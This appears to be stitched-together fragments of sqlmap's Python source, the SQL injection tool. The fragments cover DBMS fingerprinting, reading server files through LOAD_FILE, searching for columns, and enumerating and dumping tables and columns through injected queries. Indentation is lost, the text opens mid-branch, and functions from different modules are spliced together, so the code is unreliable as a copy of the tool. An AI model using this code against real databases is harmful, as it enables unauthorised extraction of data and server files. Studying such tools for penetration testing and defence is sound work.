elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
else:
kb.dbmsVersion = ["= 5.1.2"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
else:
kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
# Otherwise assume it is MySQL < 5.0.0
else:
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
coercibility = inject.getValue("COERCIBILITY(USER())")
if coercibility == "3":
kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
elif coercibility == "2":
kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
elif inject.getValue("CURRENT_USER()"):
kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
kb.dbmsVersion = ["= 4.1.0"]
else:
kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
elif inject.getValue("FOUND_ROWS()") == "0":
kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
elif inject.getValue("CONNECTION_ID()"):
kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
else:
kb.dbmsVersion = ["< 3.22.11"]
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
def readFile(self, rFile):
logMsg = "fetching file: '%s'" % rFile
logger.info(logMsg)
return inject.getValue("LOAD_FILE('%s')" % rFile)
def searchColumn(self):
rootQuery = queries[DBMS.MSSQL].search_column
foundCols = {}
dbs = {}
whereTblsQuery = ""
infoMsgTbl = ""
infoMsgDb = ""
colList = conf.col.split(',')
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
origTbl = conf.tbl
origDb = conf.db
colCond = rootQuery.inband.condition
tblCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
enumDbs = conf.db.split(',')
elif not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
for db in enumDbs:
db = safeSQLIdentificatorNaming(db)
dbs[db] = {}
for column in colList:
column = safeSQLIdentificatorNaming(column)
conf.db = origDb
conf.tbl = origTbl
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
foundCols[column] = {}
if conf.tbl:
_ = conf.tbl.split(',')
whereTblsQuery = " AND (" + " OR ".join(
"%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
for tbl in _) + ")"
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(tbl
for tbl in _))
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db:
_ = conf.db.split(',')
infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "",
", ".join(db for db in _))
elif conf.excludeSysDbs:
infoMsgDb = " not in system database%s '%s'" % (
"s" if len(self.excludeDbsList) > 1 else "", ", ".join(
db for db in self.excludeDbsList))
else:
infoMsgDb = " across all databases"
logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
for db in (_ for _ in dbs if _):
db = safeSQLIdentificatorNaming(db)
if conf.excludeSysDbs and db in self.excludeDbsList:
continue
if conf.exclude and db in conf.exclude.split(','):
continue
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
if isinstance(values, six.string_types):
values = [values]
for foundTbl in values:
foundTbl = safeSQLIdentificatorNaming(
unArrayizeValue(foundTbl), True)
if foundTbl is None:
continue
if foundTbl not in dbs[db]:
dbs[db][foundTbl] = {}
if colConsider == '1':
conf.db = db
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[
db] and not isNoneValue(
kb.data.cachedColumns[db]
[foundTbl]):
dbs[db][foundTbl].update(
kb.data.cachedColumns[db][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[db][foundTbl][column] = None
if db in foundCols[column]:
foundCols[column][db].append(foundTbl)
else:
foundCols[column][db] = [foundTbl]
else:
foundCols[column][db] = []
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s LIKE"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info("%s%s" % (infoMsg, infoMsgTbl))
query = rootQuery.blind.count
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s LIKE"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getLimitRange(count)
for index in indexRange:
query = rootQuery.blind.query
query = query % (db, db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
query += whereTblsQuery.replace("[DB]", db)
query = agent.limitQuery(index, query,
colCond.replace("[DB]", db))
tbl = inject.getValue(query, union=False, error=False)
kb.hintValue = tbl
tbl = safeSQLIdentificatorNaming(tbl, True)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True,
colTuple=(colConsider,
colCondParam),
bruteForce=False)
if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
db]:
dbs[db][tbl].update(
kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
conf.dumper.dbColumns(foundCols, colConsider, dbs)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
lengths = {}
entries = {}
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
validColumnList = False
validPivotValue = False
if count is None:
query = dumpNode.count % table
query = agent.whereQuery(query)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT)
if hasattr(count, "isdigit") and count.isdigit():
count = int(count)
if count == 0:
infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
return entries, lengths
elif not isNumPosStrValue(count):
return None
for column in colList:
lengths[column] = 0
entries[column] = BigArray()
colList = filterNone(sorted(colList, key=lambda x: len(x) if x else MAX_INT))
if conf.pivotColumn:
for _ in colList:
if re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I):
infoMsg = "using column '%s' as a pivot " % conf.pivotColumn
infoMsg += "for retrieving row data"
logger.info(infoMsg)
colList.remove(_)
colList.insert(0, _)
validPivotValue = True
break
if not validPivotValue:
warnMsg = "column '%s' not " % conf.pivotColumn
warnMsg += "found in table '%s'" % table
logger.warn(warnMsg)
if not validPivotValue:
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column.replace(("%s." % alias) if alias else "", "")
logger.info(infoMsg)
query = dumpNode.count2 % (column, table)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=blind, union=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column.replace(("%s." % alias) if alias else "", "")
infoMsg += "for retrieving row data"
logger.info(infoMsg)
validPivotValue = True
colList.remove(column)
colList.insert(0, column)
break
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise SqlmapNoneDataException(errMsg)
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " It won't be possible to retrieve all rows"
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
def _(column, pivotValue):
if column == colList[0]:
query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False))
else:
query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False))
query = agent.whereQuery(query)
return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
try:
for i in xrange(count):
if breakRetrieval:
break
for column in colList:
value = _(column, pivotValue)
if column == colList[0]:
if isNoneValue(value):
try:
for pivotValue in filterNone((" " if pivotValue == " " else None, "%s%s" % (pivotValue[0], six.unichr(ord(pivotValue[1]) + 1)) if len(pivotValue) > 1 else None, six.unichr(ord(pivotValue[0]) + 1))):
value = _(column, pivotValue)
if not isNoneValue(value):
break
except ValueError:
pass
if isNoneValue(value) or value == NULL:
breakRetrieval = True
break
pivotValue = safechardecode(value)
if conf.limitStart or conf.limitStop:
if conf.limitStart and (i + 1) < conf.limitStart:
warnMsg = "skipping first %d pivot " % conf.limitStart
warnMsg += "point values"
singleTimeWarnMessage(warnMsg)
break
elif conf.limitStop and (i + 1) > conf.limitStop:
breakRetrieval = True
break
value = "" if isNoneValue(value) else unArrayizeValue(value)
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
except SqlmapConnectionException as ex:
errMsg = "connection exception detected ('%s'). sqlmap " % getSafeExString(ex)
errMsg += "will display partial output"
logger.critical(errMsg)
return entries, lengths
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("@@transtate=@@transtate")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
result = unArrayizeValue(
inject.getValue("SUBSTRING(@@VERSION,1,1)"))
if result and result.isdigit():
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression(
"PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if not conf.db:
errMsg = "unable to retrieve the current "
errMsg += "database name"
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [
_ for _ in colList if _ not in conf.excludeCol.split(',')
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
tblList = list(tblList)
elif not conf.search:
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return kb.data.cachedColumns
tblList = filter(None, (safeSQLIdentificatorNaming(_, True)
for _ in tblList))
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is %s" % DBMS.ACCESS
logger.error(errMsg)
bruteForce = True
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = rootQuery.inband.query % tbl
if dumpMode and colList:
values = [(_, ) for _ in colList]
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
values = None
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(
PAYLOAD.TECHNIQUE.UNION):
expression = query
kb.dumpColumns = []
kb.rowXmlMode = True
for column in extractRegexResult(
r"SELECT (?P<result>.+?) FROM",
query).split(','):
kb.dumpColumns.append(randomStr().lower())
expression = expression.replace(
column,
"%s AS %s" % (column, kb.dumpColumns[-1]), 1)
values = unionUse(expression)
kb.rowXmlMode = False
kb.dumpColumns = None
if values is None:
values = inject.getValue(query,
blind=False,
time=False)
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
while True:
query = rootQuery.inband.query2 % (conf.db, tbl, index)
value = unArrayizeValue(
inject.getValue(query, blind=False, time=False))
if isNoneValue(value) or value == " ":
break
else:
values.append((value, ))
index += 1
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(unArrayizeValue(values))
elif not isNoneValue(values):
table = {}
columns = {}
for columnData in values:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
if name:
if conf.getComments:
_ = queries[Backend.getIdentifiedDbms(
)].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (
DBMS.ORACLE, DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
name.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db),
unsafeSQLIdentificatorNaming(
tbl),
unsafeSQLIdentificatorNaming(
name))
comment = unArrayizeValue(
inject.getValue(query,
blind=False,
time=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, name)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if len(columnData) == 1:
columns[name] = None
else:
key = int(columnData[1]) if isinstance(
columnData[1],
basestring) and columnData[1].isdigit(
) else columnData[1]
if Backend.isDbms(DBMS.FIREBIRD):
columnData[1] = FIREBIRD_TYPES.get(
key, columnData[1])
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
columnData[1] = INFORMIX_TYPES.get(
key, columnData[1])
if notNull:
columnData[
1] = "%s NOT NULL" % columnData[
1]
columns[name] = columnData[1]
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
infoMsg = "fetching columns "
condQuery = ""
if len(colList) > 0:
if colTuple:
_, colCondParam = colTuple
infoMsg += "LIKE '%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
else:
colCondParam = "='%s'"
infoMsg += "'%s' " % ", ".join(
unsafeSQLIdentificatorNaming(col)
for col in sorted(colList))
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(
condQueryStr %
(condition, unsafeSQLIdentificatorNaming(col))
for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, conf.db, conf.db,
conf.db, conf.db, tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = unArrayizeValue(
inject.getValue(query, union=False, error=False))
parseSqliteTableSchema(value)
return kb.data.cachedColumns
table = {}
columns = {}
if dumpMode and colList:
count = 0
for value in colList:
columns[safeSQLIdentificatorNaming(value)] = None
else:
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
count, index, values = 0, 1, []
while True:
query = rootQuery.blind.query3 % (conf.db, tbl,
index)
value = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if isNoneValue(value) or value == " ":
break
else:
columns[safeSQLIdentificatorNaming(
value)] = None
index += 1
if not columns:
errMsg = "unable to retrieve the %scolumns " % (
"number of "
if not Backend.isDbms(DBMS.MSSQL) else "")
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.error(errMsg)
continue
for index in getLimitRange(count):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL,
DBMS.HSQLDB):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query % (
unsafeSQLIdentificatorNaming(tbl.upper()),
unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
field = None
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query.replace(
"'%s'", "'%s'" %
unsafeSQLIdentificatorNaming(tbl).split(".")[-1]
).replace("%s", conf.db).replace("%d", str(index))
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, conf.db,
conf.db, conf.db,
conf.db, conf.db, tbl)
query += condQuery
field = condition
query = agent.limitQuery(index, query, field, field)
column = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(column):
if conf.getComments:
_ = queries[
Backend.getIdentifiedDbms()].column_comment
if hasattr(_, "query"):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = _.query % (
unsafeSQLIdentificatorNaming(
conf.db.upper()),
unsafeSQLIdentificatorNaming(
tbl.upper()),
unsafeSQLIdentificatorNaming(
column.upper()))
else:
query = _.query % (
unsafeSQLIdentificatorNaming(conf.db),
unsafeSQLIdentificatorNaming(tbl),
unsafeSQLIdentificatorNaming(column))
comment = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
if not isNoneValue(comment):
infoMsg = "retrieved comment '%s' for column '%s'" % (
comment, column)
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms(
)
warnMsg += "possible to get column comments"
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,
DBMS.PGSQL):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(tbl), column,
unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
query = rootQuery.blind.query2 % (
unsafeSQLIdentificatorNaming(
tbl.upper()), column,
unsafeSQLIdentificatorNaming(
conf.db.upper()))
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db, column,
conf.db, conf.db, conf.db,
unsafeSQLIdentificatorNaming(tbl).split(
".")[-1])
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query2 % (
conf.db, conf.db, conf.db, conf.db,
conf.db, tbl, column)
colType = unArrayizeValue(
inject.getValue(query,
union=False,
error=False))
key = int(colType) if isinstance(
colType,
basestring) and colType.isdigit() else colType
if Backend.isDbms(DBMS.FIREBIRD):
colType = FIREBIRD_TYPES.get(key, colType)
elif Backend.isDbms(DBMS.INFORMIX):
notNull = False
if isinstance(key, int) and key > 255:
key -= 256
notNull = True
colType = INFORMIX_TYPES.get(key, colType)
if notNull:
colType = "%s NOT NULL" % colType
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
if columns:
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
if not kb.data.cachedColumns:
warnMsg = "unable to retrieve column names for "
warnMsg += ("table '%s' " %
unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))
) if len(tblList) == 1 else "any table "
warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.warn(warnMsg)
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames,
colTuple=colTuple,
bruteForce=True)
return kb.data.cachedColumns
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except SqlmapNoneDataException:
tables = None
if not tables:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
DBMS.HSQLDB):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
dbs = [_ for _ in dbs if _ and _.strip()]
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
if bruteForce:
resumeAvailable = False
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries:
for db, table in kb.brute.tables:
if db == conf.db:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? %s " % (
"[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
return tableExists(paths.COMMON_TABLES)
infoMsg = "fetching tables for database"
